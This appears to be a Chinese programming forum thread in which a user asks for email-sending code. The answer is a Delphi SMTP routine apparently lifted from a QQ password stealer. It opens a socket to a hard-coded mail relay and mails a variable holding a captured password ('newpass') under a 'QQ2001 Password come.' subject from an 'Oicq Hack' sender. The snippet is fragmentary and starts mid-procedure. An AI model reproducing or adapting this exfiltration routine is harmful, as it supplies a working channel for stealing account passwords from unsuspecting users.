关于E_mail 的问题

Question

有那位GG.mm 写过收发E——Mail 的code and 原理 or book
my address :[email protected]
hele me

Answer 1

err:=recv(FSocket,sbuf,400,0); 
s1:=strpas(sbuf); 
inc(step); 
case step of 
1:s1:='HELO smtp.hacker.com'+CRLF; 
2:s1:='MAIL FROM: <[email protected]>'+CRLF; 
3:s1:='RCPT TO: <'+email+'>'+CRLF; 
4:s1:='DATA'+CRLF; 
5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF 
+'To:"getoicq"<www.password.com>'+CRLF 
+'Subject:QQ2001 Password come.'+CRLF 
+CRLF 
+newpass+CRLF 
+'.'+CRLF; 
6:s1:='QUIT'+CRLF; 
else 
step:=0; 
end; 
strcopy(sbuf,pchar(s1)); 
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE); 
end; 
//发信主过程 
procedure SendPass; 
begin 
err:=WSAStartup($0101,WSAData); 
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP); 
//利用 smtp.21cn.com 进行发信 
fhost:='202.104.32.230'; 
fport:=25; 
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost)); 
SockAddrIn.sin_family := PF_INET; 
SockAddrIn.sin_port :=htons(Fport); 
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); 
step:=0; 
repeat 
MailSend; 
until step=0; 
err:=closesocket(FSocket); 
err:=WSACleanup; 
end; 
来自超级猛料 2003 建议下载一个